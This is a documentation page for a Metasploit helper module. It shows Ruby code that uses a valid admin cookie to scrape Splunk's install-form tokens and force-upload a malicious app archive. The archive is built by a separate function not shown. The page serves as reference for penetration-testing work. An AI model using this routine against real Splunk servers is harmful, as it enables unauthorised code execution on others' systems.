Module: Msf::Exploit::Remote::HTTP::Splunk::Apps

Included in:
Msf::Exploit::Remote::HTTP::Splunk
Defined in:
lib/msf/core/exploit/remote/http/splunk/apps.rb

Overview

This module provides a way of interacting with Splunk apps

Instance Method Summary collapse

Instance Method Details

#splunk_upload_app(app_name, cookie) ⇒ Boolean

Uploads malicious app to splunk using admin cookie

Parameters:

  • app_name (String) —

    Name of the app to upload

  • cookie (String) —

    Valid admin's cookie

Returns:

  • (Boolean) —

    true on success, false on error



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# File 'lib/msf/core/exploit/remote/http/splunk/apps.rb', line 10

def splunk_upload_app(app_name, cookie)
  res = send_request_cgi({
    'uri' => splunk_upload_url,
    'method' => 'GET',
    'cookie' => cookie
  })

  unless res&.code == 200
    vprint_error('Unable to get form state')
    return false
  end

  html = res.get_html_document

  data = Rex::MIME::Message.new
  # fill the hidden fields from the form: state and splunk_form_key
  html.at('[id="installform"]').elements.each do |form|
    next unless form.attributes['value']

    data.add_part(form.attributes['value'].to_s, nil, nil, "form-data; name=\"#{form.attributes['name']}\"")
  end
  data.add_part('1', nil, nil, 'form-data; name="force"')
  data.add_part(splunk_helper_malicious_app(app_name), 'application/gzip', 'binary', "form-data; name=\"appfile\"; filename=\"#{app_name}.tar.gz\"")
  post_data = data.to_s

  res = send_request_cgi({
    'uri' => splunk_upload_url,
    'method' => 'POST',
    'cookie' => cookie,
    'ctype' => "multipart/form-data; boundary=#{data.bound}",
    'data' => post_data
  })

  unless (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
    vprint_error('Error uploading App')
    return false
  end

  true
end